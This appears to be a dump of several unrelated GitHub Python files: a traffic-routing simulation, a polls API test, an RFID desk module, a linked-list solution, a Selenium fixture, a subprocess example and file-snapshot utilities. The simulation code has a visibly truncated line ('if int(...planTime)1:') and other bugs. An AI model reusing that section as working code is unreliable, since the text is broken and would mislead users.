row = {'carid': car_in_road, 'run_road': road_id, 'from': start_id, 'to': end_id,\r\n 'run_channel': run_channel, 'weizhi': S_, 'state': state,\r\n 'next_road': next_road}\r\n current = current.append(row, ignore_index=True) # 运行的集合中加入这个车\r\n caing_start2end = caing_start2end[~caing_start2end['id'].str.contains(car_in_road)] # 带出发的车删除这个车\r\n continue\r\n else: # 这条道不能放\r\n break\r\n else:\r\n enough=True\r\n index = caing_start2end.index\r\n car['planTime'].loc[index] = (car.loc[index]['planTime'].astype(int) + 1).astype(str)\r\n break\r\n if enough:\r\n break\r\n return current,car\r\n\r\nroad1=[]\r\nwith open(road_path,'r') as f:\r\n\tfor line in f:\r\n\t\troad1.append(list(line.strip('\\n').replace(' ','').replace('(','').replace(')','').replace('#','').split(',')))\r\nroad=pd.DataFrame((road1)[1:])\r\nroad.columns=road1[0]\r\nfor i in range(road.shape[0]):\r\n if road.iloc[i]['isDuplex']=='1':\r\n new_road=road.iloc[i].rename({'to':'from','from':'to'})\r\n\r\n road=road.append(new_road,ignore_index=True)\r\n\r\ncross1=[]\r\nwith open(cross_path,'r') as f:\r\n\tfor line in f:\r\n\t\tcross1.append(list(line.strip('\\n').replace(' ','').replace('(','').replace(')','').replace('#','').split(',')))\r\ncross=pd.DataFrame(cross1[1:])\r\ncross.columns=['id', 'roadId1', 'roadId2', 'roadId3', 'roadId4']\r\n\r\n\r\nfor i in range(road.shape[0]):\r\n road['isDuplex'][i]=int((int(road['length'][i])+int(road['speed'][i])-1)/int(road['speed'][i]))\r\n\r\nhh={}\r\nnode=cross['id'].values.tolist()\r\nfor i in node:\r\n list_key=[]\r\n TO=road[road['from']==i][['to','isDuplex','id']].values.tolist()\r\n for to ,length ,id in TO:\r\n list_key.append((i,to,length,id))\r\n hh.update({i:list_key})\r\n\r\ncar1=[]\r\ncar_f = open(car_path, 'r').read().split('\\n')[1:]\r\nfor line in car_f:\r\n car1.append(list(line.strip('\\n').replace(' ','').replace('(','').replace(')','').replace('#','').split(',')))\r\ncar=pd.DataFrame(car1[:])\r\ncar.columns=['id','from','to','speed','planTime']\r\ncar['path1to']=None\r\nZ_luxian={}\r\ncar=car.sort_values(['id'],ascending=True)#按照车id升序\r\ncar=car.sort_values([\"speed\"],ascending=False)\r\nk=1000/(int(min(car['speed']))-int(max(car['speed'])))\r\nb=-1000*int(max(car['speed']))/(int(min(car['speed']))-int(max(car['speed'])))\r\nnp.random.seed(10)\r\nfor j in range(car.shape[0]):\r\n from_node = car.iloc[j]['from']\r\n to_node = car.iloc[j]['to']\r\n path,path_road =Dijkstra(hh, from_node, to_node)#通过的路口\r\n path.reverse()\r\n path_road.reverse()\r\n car.iloc[j]['path1to']=path[1]\r\n print(path)\r\n if j<200:\r\n palntime1=int(int(car.iloc[j]['speed'])*k+b+np.random.randint(1))\r\n if int(car.iloc[j]['planTime'])1:\r\n next_going_road_id = In_road['next_road'].iloc[0] # 第一个车的下一条路的ID\r\n # 当前车的运行方向\r\n nxt = cross['id'][cross_index]\r\n roading = str(min_id[i])\r\n next_road = next_going_road_id\r\n direction = dicrion(nxt, next_road, roading)\r\n second_road_idAnd_dir[i]=[next_going_road_id, direction ]\r\n next_going_road_id, direction=second_road_idAnd_dir[i]\r\n conflict=Conflict(next_going_road_id,direction,second_road_idAnd_dir)\r\n if conflict:\r\n break\r\n cishu += 1\r\n\r\n# In_road = roading_cross[roading_cross['run_road'] == str(min_id[i])] # 当前道路等待的车\r\n index = In_road.index.tolist()[0]\r\n\r\n # 判断该车是不是到达终点的车\r\n if In_road['to'][index] == Z_luxian[current['carid'][index]]['path'][-1]:\r\n current=current.drop(index)\r\n In_road=In_road.drop(index)\r\n #当前道路等待的车In_road\r\n if In_road.shape[0]!=0:\r\n current=update_road(In_road ,current,k,road,car)\r\n\r\n # if roading_cross[roading_cross['run_road']==str(min_id[i])]['state'][index]==1:#判断这个路上的这个车是否仍然是等待状态\r\n # 对面道路第一条道路最后一辆的信息\r\n else:#过路口\r\n next_going_road_id = In_road['next_road'][index]\r\n next_going_road = current[\r\n (current['from'] == cross['id'][cross_index])&(current['run_road'] == next_going_road_id)]\r\n for k in range(int(road[road['id']==next_going_road_id]['channel'].iloc[0])): # 判断当前将要驶入的道路总共有多少车道\r\n road_of_channel = next_going_road[next_going_road['run_channel'] == k + 1]\r\n road_of_channel=road_of_channel.sort_values([\"weizhi\"], ascending=True)\r\n # 按照位置深序\r\n if road_of_channel.empty:\r\n next_road_speed = road[(road['id']== next_going_road_id)]['speed'].values.tolist()[\r\n 0] # 下一条道路限速\r\n car_speed = car[car['id'] == In_road['carid'][index]]['speed'].values.tolist()[0]\r\n V2 = int(min(int(next_road_speed), int(car_speed))) # 在next road最大行驶速度\r\n S = int(road[(road['id'] == next_going_road_id)]['length'].values.tolist()[\r\n 0] ) # 下一条道路长度\r\n current['weizhi'][index] = min(V2,S)\r\n current['state'][index] = 0 # 终止\r\n location_path = Z_luxian[current['carid'][index]]['path_road'].index(\r\n current['run_road'][index])\r\n ##进入的下一条道路包括(from,to, 路的id,下一条路id,方向,第几条到)\r\n current['run_road'][index] = Z_luxian[current['carid'][index]]['path_road'][\r\n location_path + 1]\r\n if len(Z_luxian[current['carid'][index]]['path_road']) > location_path + 2:\r\n current['next_road'][index] = Z_luxian[current['carid'][index]]['path_road'][\r\n location_path + 2]\r\n current['from'][index] = Z_luxian[current['carid'][index]]['path'][\r\n location_path + 1]\r\n current['to'][index] = Z_luxian[current['carid'][index]]['path'][\r\n location_path + 2]\r\n current['run_channel'][index] = k+1\r\n break\r\n else:\r\n state = road_of_channel[\"state\"].iloc[0] # 最后一辆车的状态\r\n S = int(road_of_channel[\"weizhi\"].iloc[0])-1 # 最后一辆车的位置\r\n# print(S)\r\n next_road_speed = road[(road['id'] == next_going_road_id)]['speed'].values.tolist()[0] # 下一条道路限速\r\n car_speed=car[car['id']==In_road['carid'][index]]['speed'].values.tolist()[0]\r\n V2 = int(min(int(next_road_speed), int(car_speed))) # 在next road最大行驶速度\r\n road_length=int(road[road['id']==In_road['run_road'][index]]['length'].values.tolist()[0])#当前道路的长度\r\n S1 = road_length - int(In_road['weizhi'][index]) # 离路口的距离\r\n S2 = V2 - S1\r\n if S == 0: # 当前车道满了,进入下一条车道\r\n continue\r\n if S > 0: # 当前车道没满\r\n if state == 0: # 当车为终止状态时\r\n\r\n if S2 <= 0: # 不能通过路口\r\n current['weizhi'][index] = int(road_length)\r\n current['state'][index] = 0 # 终止\r\n else: # 能进入,相对应的更新\r\n current['weizhi'][index] = min(S, S2)\r\n current['state'][index] = 0 # 终止\r\n location_path = Z_luxian[current['carid'][index]]['path_road'].index(\r\n current['run_road'][index])\r\n ##进入的下一条道路包括(from,to, 路的id,下一条路id,方向,第几条到)\r\n current['run_road'][index] = \\\r\n Z_luxian[current['carid'][index]]['path_road'][\r\n location_path + 1]\r\n if len(Z_luxian[current['carid'][index]]['path_road']) > location_path + 2:\r\n current['next_road'][index] = \\\r\n Z_luxian[current['carid'][index]]['path_road'][\r\n location_path + 2]\r\n current['from'][index] = Z_luxian[current['carid'][index]]['path'][\r\n location_path + 1]\r\n current['to'][index] = Z_luxian[current['carid'][index]]['path'][\r\n location_path + 2]\r\n current['run_channel'][index] = k + 1\r\n if state == 1: # 当前车为等待状态时\r\n if S2 <= 0: # 不能通过路口\r\n current['weizhi'][index] = int(road_length)\r\n current['state'][index] = 0 # 终止\r\n elif S2 > S:\r\n current['state'][index] = 1 # 等待\r\n elif 0 < S2 <=S: # 能进入,相对应的更新\r\n current['weizhi'][index] = min(S, S2)\r\n current['state'][index] = 0 # 终止\r\n location_path = Z_luxian[current['carid'][index]]['path_road'].index(\r\n current['run_road'][index])\r\n ##进入的下一条道路包括(from,to, 路的id,下一条路id,方向,第几条到)\r\n current['run_road'][index] = \\\r\n Z_luxian[current['carid'][index]]['path_road'][\r\n location_path + 1]\r\n if len(Z_luxian[current['carid'][index]]['path_road']) > location_path + 2:\r\n current['next_road'][index] = \\\r\n Z_luxian[current['carid'][index]]['path_road'][\r\n location_path + 2]\r\n current['from'][index] = Z_luxian[current['carid'][index]]['path'][\r\n location_path + 1]\r\n current['to'][index] = Z_luxian[current['carid'][index]]['path'][\r\n location_path + 2]\r\n current['run_channel'][index] = k+1\r\n break\r\n if S == 0:\r\n current['state'][index] = 0\r\n\r\n if current['state'][index] == 1: # 如果对第一优先级调度后还是等待,跳至下一路口\r\n break\r\n else:\r\n In_road = current[(current['to'] == cross['id'][cross_index])&(current['run_road']==str(min_id[i]))] # 目标为同一个路口,且为等待状态的车\r\n In_road = In_road[In_road['state'] == 1]\r\n In_road=In_road.sort_values([\"run_channel\"], ascending=True) # 按照channel升序\r\n In_road=In_road.sort_values([\"weizhi\"],ascending=False) # 按照位置降序\r\n k = current['run_channel'][index]\r\n if In_road.empty:\r\n break\r\n ##一旦有一辆等待车辆(记为车A,所在车道记为C)通过路口而成为终止状态,则会该道路R的车道C上所有车辆进行一次调度\r\n if current['run_road'][index]==str(min_id[i]):#第一优先级的车不过路口终止\r\n current=update_road_first_end( In_road ,index,current,road,car)\r\n else:#第一优先级的车过路口终止\r\n # 对第一个车调度后要对当前车道调度一下,排除因第一个车等待而等待的车(即非真正等待车)\r\n current=update_road(In_road ,current,k,road,car)\r\n present_state_id = current[current['state'] == 1]['carid'].values.tolist()\r\n if len(last_state_id) == len(present_state_id): # 如果上一个循环与这一次循环后等待状态的车的数量没有变化,及锁死\r\n print('死锁')\r\n # sisuo = True\r\n # int(len(present_state_id)//2)\r\n # delcar=present_state_id[0:int(len(present_state_id)//2)]\r\n # index=car[car['id'].isin(delcar)].index\r\n # car['planTime'].loc[index]=(car['planTime'].loc[index].astype(int) + 10).astype(str)\r\n # break\r\n continue\r\n else:\r\n last_state_id= present_state_id.copy()\r\n\r\n if sisuo:\r\n # T = 0\r\n # current = pd.DataFrame(columns=['carid', 'run_road', 'from', 'to',\r\n # 'run_channel', 'weizhi', 'state',\r\n # 'next_road']) ##装车的集合\r\n # sisuo = False\r\n # conflict = False\r\n continue\r\njieguo=[]\r\nfor j in range(car.shape[0]):\r\n jieguo=jieguo.append(Z_luxian[car.iloc[j]['id']]['path_road'])\r\n planTime = car.iloc[j]['planTime'] \r\n jieguo[j].insert(0, car.iloc[j]['id'])\r\n jieguo[j].insert(1, planTime)\r\n\r\nfw = open(answer_path, 'w') # 将要输出保存的文件地址\r\nfor line in jieguo: # 读取的文件\r\n fw.write(\"(\" + str(','.join(line)) + \")\") # 将字符串写入文件中\r\n # line.rstrip(\"\\n\")为去除行尾换行符\r\n fw.write(\"\\n\") # 换行\r\nfw.close()\r\n\r\ntime_end = time.time()\r\nprint('time cost', time_end - time_start, 's')","repo_name":"Student-Hu/Huawei-","sub_path":"main_test.py","file_name":"main_test.py","file_ext":"py","file_size_in_byte":29582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71618038614","text":"#coding = utf-8\n#encoding = utf-8\nimport requests\nimport unittest\nimport json\n\n# base_url = 'http://127.0.0.1:8000/polls'\n# r = requests.get(base_url)\n# code = r.status_code\n# text = r.text\n# print(code)\n# print(text)\n\nclass PollsTest(unittest.TestCase):\n\tdef setUp(self):\n\t\tself.base_url = 'http://127.0.0.1:8000/polls'\n\n\tdef tearDown(self):\n\t\tpass\n\n\tdef test_get_poll_index(self):\n\t\t'''测试投票系统首页'''\n\t\tr = requests.get(self.base_url)\n\t\tcode = r.status_code\n\t\ttext = r.text\n\t\tdicts = json.loads(text)\n\t\tself.assertEqual(code,200)\n\t\tself.assertEqual(dicts['message'],'success')\n\tdef test_get_poll_question(self):\n\t\t'''获得问题一的所有选项'''\n\t\tr = requests.get(self.base_url+'/1/')\n\t\tcode = r.status_code\n\t\ttext = r.text\n\t\tdicts = json.loads(text)\n\t\tself.assertEqual(code,200)\n\t\tself.assertEqual(dicts['message'],'success')\n\tdef test_get_poll_result(self):\n\t\t\"\"\"获取问题1的投票结果\"\"\"\n\t\tr = requests.get(self.base_url+'/2/results')\n\t\tcode = r.status_code\n\t\ttext = r.text\n\t\tdicts = json.loads(text)\n\t\tself.assertEqual(code,200)\n\t\tself.assertEqual(dicts['message'],'success')\n\tdef test_post_poll_vote(self):\n\t\t'''对第一个问题的第2个选项投票'''\n\t\tr = requests.post(self.base_url+'/1/vote/',data={'choice':'2'})\n\t\tcode = r.status_code\n\t\ttext = r.text\n\t\tprint(text)\n\t\tdicts = json.loads(text)\n\t\tself.assertEqual(code,200)\n\t\tself.assertEqual(dicts['message'],'success')\n\nif __name__==\"__main__\":\n\tunittest.main()\n\n\n\n\n","repo_name":"xxping90/pydj","sub_path":"testZope/test_interface.py","file_name":"test_interface.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38277835515","text":"from tinkerforge.bricklet_nfc_rfid import BrickletNFCRFID\r\nfrom modules.navigation import StateModule\r\n\r\n\r\nclass RFIDModule(StateModule):\r\n readers = {}\r\n previous = None\r\n tick_count = 0\r\n tag_type = 0\r\n auth = \"Nobody\"\r\n\r\n users = {\r\n \"411713624212177128\": \"Ben\",\r\n \"45014924212177128\": \"Mike\",\r\n \"41166424212177128\": \"Francesco\",\r\n \"19316121643\": \"Alvise\",\r\n }\r\n\r\n def draw(self, clear=True):\r\n self.controller.screen.draw(\r\n \"values\",\r\n {\"title\": \"Hello,\", \"value\": self.auth, })\r\n\r\n def read_card(self, state, idle, nr):\r\n if idle:\r\n self.tag_type = (self.tag_type + 1) % 3\r\n nr.request_tag_id(self.tag_type)\r\n\r\n if state == nr.STATE_REQUEST_TAG_ID_READY:\r\n ret = nr.get_tag_id()\r\n card = str(\"\".join(map(str, ret.tid[:ret.tid_length])))\r\n if card != self.previous:\r\n self.previous = card\r\n self.controller.event(\"rfid-read\", [card])\r\n if card in self.users:\r\n self.auth = self.users[card]\r\n else:\r\n self.auth = \"Unknown\"\r\n self.controller.change_module(\"RFIDModule\")\r\n\r\n def try_bricklet(self, uid, device_identifier, position):\r\n if device_identifier == 246:\r\n self.readers[\"card\"] = {\r\n \"instance\": BrickletNFCRFID(uid, self.controller.ipcon),\r\n \"name\": \"card\",\r\n \"relay\": 0,\r\n }\r\n self.readers[\"card\"][\"instance\"].register_callback(\r\n self.readers[\"card\"][\"instance\"].CALLBACK_STATE_CHANGED,\r\n lambda x, y: self.read_card(\r\n x, y,\r\n self.readers[\"card\"][\"instance\"]))\r\n self.readers[\"card\"][\"instance\"].request_tag_id(\r\n self.readers[\"card\"][\"instance\"].TAG_TYPE_MIFARE_CLASSIC)\r\n # print(\"Created Card Reader\")\r\n\r\n def navigate(self, direction):\r\n self.controller.change_module(\"MenuModule\")\r\n\r\n def tick(self):\r\n self.tick_count += 1\r\n if self.tick_count > 5:\r\n self.previous = None\r\n self.tick_count = 0\r\n self.controller.change_module(None)\r\n","repo_name":"arupiot/deskcontrol","sub_path":"deskcontrol/modules/rfid.py","file_name":"rfid.py","file_ext":"py","file_size_in_byte":2274,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"3923756745","text":"from helpers.py.list_node import ListNode\n\n\nclass Solution:\n def reverseList(self, head: ListNode) -> ListNode:\n if head == None or head.next == None:\n return head\n newHead = self.reverseList(head.next)\n head.next.next = head\n head.next = None\n return newHead\n\n\nif __name__ == '__main__':\n test_cases = []\n for case in test_cases:\n ans = Solution().reverseList(case)\n print(ans)\n","repo_name":"YunYouJun/LeetCode","sub_path":"problems/fan-zhuan-lian-biao-lcof/solution_2.py","file_name":"solution_2.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"34999683151","text":"import pytest\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.support.wait import WebDriverWait\n\nfrom src.base_test import BaseTest\nfrom config.cfg import Selenium\n\n\n@pytest.fixture(scope=\"class\", autouse=True)\ndef ctx():\n if Selenium.browser_name == 'chrome':\n options = Options()\n options.add_argument(\"start-maximized\")\n options.add_argument(\"enable-automation\")\n options.add_argument(\"--no-sandbox\")\n options.add_argument(\"--dns-prefetch-disable\")\n options.add_argument(\"--disable-extensions\")\n options.add_argument(\"--disable-dev-shm-usage\")\n options.add_argument(\"--disable-browser-side-navigation\")\n options.add_argument(\"--disable-gpu\")\n options.add_argument(\"--disable-infobars\")\n options.add_argument(\"--disable-blink-features=AutomationControlled\")\n options.page_load_strategy = 'normal'\n else:\n raise Exception(f\"couldn't find browser {Selenium.browser_name}\")\n\n command_executor = 'http://{}:{}/wd/hub'.format(Selenium.host, Selenium.port)\n\n driver = webdriver.Remote(command_executor=command_executor, options=options)\n waiter = WebDriverWait(driver, timeout=3)\n driver.implicitly_wait(30)\n driver.set_page_load_timeout(600)\n driver.set_script_timeout(30)\n\n yield BaseTest(driver, waiter)\n driver.quit()\n\n\n\n# @pytest.hookimpl(tryfirst=True, hookwrapper=True)\n# def make_screenshot(item, call):\n# outcome = yield\n# rep = outcome.get_result()\n# if rep.failed:\n# item.funcargs['ctx']\\\n# .driver\\\n# .save_screenshot(\"./screenshots/{}::{}::{}.png\".format(\n# datetime.datetime.now(),\n# rep.fspath,\n# rep.head_line\n# ))\n","repo_name":"Masip/mf-tests","sub_path":"conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7653837170","text":"from subprocess import check_call\ntry:\n fout = open('files.txt','w')\n ferr = open('errors.txt','w')\n check_call (\"ls -l /etc/\", shell=True, stdout=fout, stderr=ferr)\n fout.close()\n ferr.close()\nexcept IOError as e:\n sys.exit(\"I/O error on '%s': %s\" % (e.filename, e.strerror))\nexcept CalledProcessError as e:\n sys.exit(\"'ls' failed, returned code %d (check 'errors.txt')\" \\\n % (e.returncode))\nexcept OSError as e:\n sys.exit(\"failed to run shell: %s\" % (str(e)))\n\n","repo_name":"agordon/agordon.github.io-DISABLED","sub_path":"files/py-subprocess/redirect-to-a-file.py","file_name":"redirect-to-a-file.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8300833283","text":"import os\nfrom os.path import join, exists\nimport re\nimport stat\nfrom tempfile import NamedTemporaryFile\nimport shutil\nfrom typing import Set, List, Pattern, Union, Callable\n\nimport click\n\nfrom dataworkspaces.errors import ConfigurationError\nfrom dataworkspaces.utils.file_utils import remove_dir_if_empty\nfrom dataworkspaces.utils.hash_utils import hash_file\n\n# Timestamps have the form '2018-09-30T14:09:05'\nTEMPLATE_VAR_PATS = {\n \"USERNAME\": r\"\\w([\\w\\-\\.])*\",\n \"HOSTNAME\": r\"\\w([\\w\\-\\.])*\",\n \"SNAPSHOT_NO\": r\"\\d\\d+\",\n \"ISO_TIMESTAMP\": r\"\\d\\d\\d\\d\\-\\d\\d\\-\\d\\dT\\d\\d:\\d\\d:\\d\\d\",\n \"YEAR\": r\"\\d\\d\\d\\d\",\n \"MONTH\": r\"\\d\\d\",\n \"SHORT_MONTH\": r\"\\w\\w\\w\",\n \"DAY\": r\"\\d\\d\",\n \"HOUR\": r\"\\d\\d\",\n \"MIN\": r\"\\d\\d\",\n \"SEC\": r\"\\d\\d\",\n \"DAY_OF_WEEK\": r\"\\w+\",\n \"TAG\": r\"\\w([\\w\\-\\.])*\",\n #'TAGBOTH':r'\\-(\\w+\\-)?',\n #'TAGLEFT':r'(\\-\\w+)?',\n #'TAGRIGHT':r'(\\w+\\-)?'\n}\nTEMPLATE_VAR_RE = re.compile(\"\\\\{\\w+\\\\}\")\n\nVALID_TEMPLATE_VARS = set(TEMPLATE_VAR_PATS.keys())\n# remove the 'internal' template variables\n# VALID_TEMPLATE_VARS.remove('TAGBOTH')\n# VALID_TEMPLATE_VARS.remove('TAGLEFT')\n# VALID_TEMPLATE_VARS.remove('TAGRIGHT')\n\n\ndef validate_template(template):\n if not template.startswith(\"snapshots/\"):\n raise ConfigurationError(\"Templates must start with 'snapshots/'\")\n for mo in TEMPLATE_VAR_RE.finditer(template):\n tvar = mo.group(0)[1:-1]\n if tvar not in VALID_TEMPLATE_VARS:\n raise ConfigurationError(\n \"Unknown variable '%s' in results directory template '%s'\" % (tvar, template)\n )\n\n\n# def _translate_tag_vars(template):\n# \"\"\"The {TAG} template variable is optional, so we treat it as a\n# special case to avoid generated paths like foo/bar- or fooo/bar--baz\n# when the tag is not present. We replace any occurrances of a {TAG}\n# that has dashes on either side with one a template variable that\n# indicates where the dashes are.\n# \"\"\"\n# return template.replace('-{TAG}-', '{TAGBOTH}')\\\n# .replace('-{TAG}', '{TAGLEFT}')\\\n# .replace('{TAG}-', '{TAGRIGHT}')\n\n\ndef make_re_pattern_for_dir_template(template):\n # template = _translate_tag_vars(template)\n # we escape the template and then \"unescape\" the braces\n escaped = re.escape(template).replace(\"\\\\{\", \"{\").replace(\"\\\\}\", \"}\")\n\n def repl(tvar_mo):\n tvar = tvar_mo.group(0)[1:-1]\n assert tvar in TEMPLATE_VAR_PATS, \"Uknown result directory template variable '%s'\" % tvar\n return TEMPLATE_VAR_PATS[tvar]\n\n return \"^\" + TEMPLATE_VAR_RE.sub(repl, escaped) + \"$\"\n\n\nWEEKDAYS = [\"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\", \"Saturday\", \"Sunday\"]\nSHORT_MONTHS = [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Nov\", \"Dec\"]\n\n\ndef expand_dir_template(template, username, hostname, timestamp, snapshot_no, snapshot_tag=None):\n # template = _translate_tag_vars(template)\n values = {\n \"USERNAME\": username,\n \"HOSTNAME\": hostname,\n \"ISO_TIMESTAMP\": timestamp.isoformat()[0:19], # truncate fractional seconds\n \"YEAR\": \"%04d\" % timestamp.year,\n \"MONTH\": \"%02d\" % timestamp.month,\n \"SHORT_MONTH\": SHORT_MONTHS[timestamp.month - 1],\n \"DAY\": \"%02d\" % timestamp.day,\n \"HOUR\": \"%02d\" % timestamp.hour,\n \"MIN\": \"%02d\" % timestamp.minute,\n \"SEC\": \"%02d\" % timestamp.second,\n \"DAY_OF_WEEK\": WEEKDAYS[timestamp.weekday()],\n \"SNAPSHOT_NO\": \"%03d\" % snapshot_no,\n }\n if snapshot_tag is not None:\n values[\"TAG\"] = snapshot_tag\n # values['TAGBOTH'] = '-' + snapshot_tag + '-'\n # values['TAGLEFT'] = '-' + snapshot_tag\n # values['TAGRIGHT'] = snapshot_tag + '-'\n else:\n # values['TAG'] = values['TAGLEFT'] = values['TAGRIGHT'] = ''\n # values['TAGBOTH'] = '-'\n values[\"TAG\"] = \"%03d\" % snapshot_no # if the tag isn't present, use the snapshot number\n\n def repl(tvar_mo):\n tvar = tvar_mo.group(0)[1:-1]\n assert tvar in values, \"Uknown result directory template variable '%s'\" % tvar\n return values[tvar]\n\n return TEMPLATE_VAR_RE.sub(repl, template)\n\n\ndef move_file_and_set_readonly(src: str, dest: str) -> None:\n os.rename(src, dest)\n mode = os.stat(dest).st_mode\n os.chmod(dest, mode & ~stat.S_IWUSR & ~stat.S_IWGRP & ~stat.S_IWOTH)\n\n\ndef copy_file_and_set_readonly(src: str, dest: str) -> None:\n shutil.copyfile(src, dest)\n mode = os.stat(dest).st_mode\n os.chmod(dest, mode & ~stat.S_IWUSR & ~stat.S_IWGRP & ~stat.S_IWOTH)\n\n\nDOT_GIT_RE = re.compile(\"^\" + re.escape(\".git\") + \"$\")\n\n\ndef move_current_files_local_fs(\n resource_name: str,\n base_dir: str,\n rel_dest_root: str,\n exclude_files: Set[str],\n exclude_dirs_res: Union[Pattern, List[Pattern]],\n move_fn: Callable[[str, str], None] = move_file_and_set_readonly,\n verbose: bool = False,\n):\n \"\"\"Utility for impelementing Resource.results_move_current_file()\n for when the files are stored on the local filesystem (e.g. local or git\n resources).\n exclude_dirs_res is either a single regular expression object or a list\n of regular expression objects. It should not include .git, as that will always\n be appended to the list.\n\n The move function should also set file to read-only. For git, this should\n be done before adding the file to the staging area.\n\n This returns the list of (before, after) relative path pairs.\n \"\"\"\n abs_dest_root = join(base_dir, rel_dest_root)\n created_dir = False # only create when we actually have a file to move\n moved_files = []\n dirs_to_remove_if_empty = [] # type: List[str]\n exclude_dirs_re_list = (\n exclude_dirs_res if isinstance(exclude_dirs_res, list) else [exclude_dirs_res,]\n ) # type: List[Pattern]\n exclude_dirs_re_list.append(DOT_GIT_RE)\n for (dirpath, dirnames, filenames) in os.walk(base_dir):\n assert dirpath.startswith(base_dir)\n rel_dirpath = dirpath[len(base_dir) + 1 :]\n\n def join_to_rel_dirpath(f):\n return join(rel_dirpath, f)\n\n join_rel_path = join_to_rel_dirpath if len(rel_dirpath) > 0 else lambda f: f\n # find directories we should skip, as they represent results from\n # prior runs\n skip = []\n for (i, dir_name) in enumerate(dirnames):\n abs_dirpath = join(dirpath, dir_name)\n rel_dirpath = abs_dirpath[len(base_dir) + 1 :]\n for exclude_dirs_re in exclude_dirs_re_list:\n if exclude_dirs_re.match(rel_dirpath):\n skip.append(i)\n if verbose:\n print(\"Skipping directory %s\" % rel_dirpath)\n skip.reverse()\n for i in skip:\n del dirnames[i]\n # move files to our new directory\n moved_files_out_of_this_dir = False\n for f in filenames:\n rel_src_file = join_rel_path(f)\n if rel_src_file in exclude_files:\n if verbose:\n click.echo(\"[%s] Leaving %s\" % (resource_name, rel_src_file))\n continue\n assert not rel_src_file.startswith(\"snapshot/\"), (\n \"Internal error: file %s should have been excluded from move\" % rel_src_file\n )\n rel_dest_file = join(rel_dest_root, join_rel_path(f))\n abs_src_file = join(dirpath, f)\n abs_dest_file = join(abs_dest_root, join_rel_path(f))\n if verbose:\n click.echo(\"[%s] Moving %s to %s\" % (resource_name, rel_src_file, rel_dest_file))\n click.echo(\" Absolute %s => %s\" % (abs_src_file, abs_dest_file))\n dest_parent = os.path.dirname(abs_dest_file)\n if not created_dir:\n # lazily create the root directory\n os.makedirs(abs_dest_root)\n created_dir = True\n if not exists(dest_parent):\n os.makedirs(dest_parent)\n move_fn(abs_src_file, abs_dest_file)\n moved_files.append((rel_src_file, rel_dest_file))\n moved_files_out_of_this_dir = True\n if moved_files_out_of_this_dir:\n dirs_to_remove_if_empty.append(dirpath)\n for dirpath in dirs_to_remove_if_empty:\n remove_dir_if_empty(dirpath, base_dir, verbose=verbose)\n return moved_files\n\n\ndef copy_current_files_local_fs(\n resource_name: str,\n base_dir: str,\n rel_dest_root: str,\n exclude_files: Set[str],\n exclude_dirs_res: Union[Pattern, List[Pattern]],\n copy_fn: Callable[[str, str], None] = copy_file_and_set_readonly,\n verbose: bool = False,\n) -> List[str]:\n \"\"\"Utility for impelementing Resource.results_copy_current_file()\n for when the files are stored on the local filesystem (e.g. local or git\n resources).\n exclude_dirs_res is either a single regular expression object or a list\n of regular expression objects. It should not include .git, as that will always\n be appended to the list.\n\n The copy function should also set file to read-only. For git, this should\n be done before adding the file to the staging area.\n\n This returns the list of the copied relative path pairs.\n \"\"\"\n abs_dest_root = join(base_dir, rel_dest_root)\n created_dir = False # only create when we actually have a file to move\n copied_files = [] # type: List[str]\n exclude_dirs_re_list = (\n exclude_dirs_res if isinstance(exclude_dirs_res, list) else [exclude_dirs_res,]\n ) # type: List[Pattern]\n exclude_dirs_re_list.append(DOT_GIT_RE)\n for (dirpath, dirnames, filenames) in os.walk(base_dir):\n assert dirpath.startswith(base_dir)\n rel_dirpath = dirpath[len(base_dir) + 1 :]\n\n def join_to_rel_dirpath(f):\n return join(rel_dirpath, f)\n\n join_rel_path = join_to_rel_dirpath if len(rel_dirpath) > 0 else lambda f: f\n # find directories we should skip, as they represent results from\n # prior runs\n skip = []\n for (i, dir_name) in enumerate(dirnames):\n abs_dirpath = join(dirpath, dir_name)\n rel_dirpath = abs_dirpath[len(base_dir) + 1 :]\n for exclude_dirs_re in exclude_dirs_re_list:\n if exclude_dirs_re.match(rel_dirpath):\n skip.append(i)\n if verbose:\n print(\"Skipping directory %s\" % rel_dirpath)\n skip.reverse()\n for i in skip:\n del dirnames[i]\n # copy files to our new directory\n for f in filenames:\n rel_src_file = join_rel_path(f)\n if rel_src_file in exclude_files:\n if verbose:\n click.echo(\"[%s] Leaving %s\" % (resource_name, rel_src_file))\n continue\n assert not rel_src_file.startswith(\"snapshot/\"), (\n \"Internal error: file %s should have been excluded from move\" % rel_src_file\n )\n rel_dest_file = join(rel_dest_root, join_rel_path(f))\n abs_src_file = join(dirpath, f)\n abs_dest_file = join(abs_dest_root, join_rel_path(f))\n if verbose:\n click.echo(\"[%s] Copying %s to %s\" % (resource_name, rel_src_file, rel_dest_file))\n click.echo(\" Absolute %s => %s\" % (abs_src_file, abs_dest_file))\n dest_parent = os.path.dirname(abs_dest_file)\n if not created_dir:\n # lazily create the root directory\n os.makedirs(abs_dest_root)\n created_dir = True\n if not exists(dest_parent):\n os.makedirs(dest_parent)\n copy_fn(abs_src_file, abs_dest_file)\n copied_files.append(rel_dest_file)\n return copied_files\n\n\ndef write_and_hash_file(write_fn, filename_template, verbose):\n \"\"\"Write a file to a temporary location, take its hash\n and rename to filename_template, replacing with\n the hash. Returns hashval, the snapshot filename, and\n a boolean indicating whether this is a new snapshot\n (may end up with a snapshot matching a previous one).\n \"\"\"\n with NamedTemporaryFile(delete=False) as f:\n tfilename = f.name\n try:\n write_fn(tfilename)\n hashval = hash_file(tfilename)\n target_name = filename_template.replace(\"\", 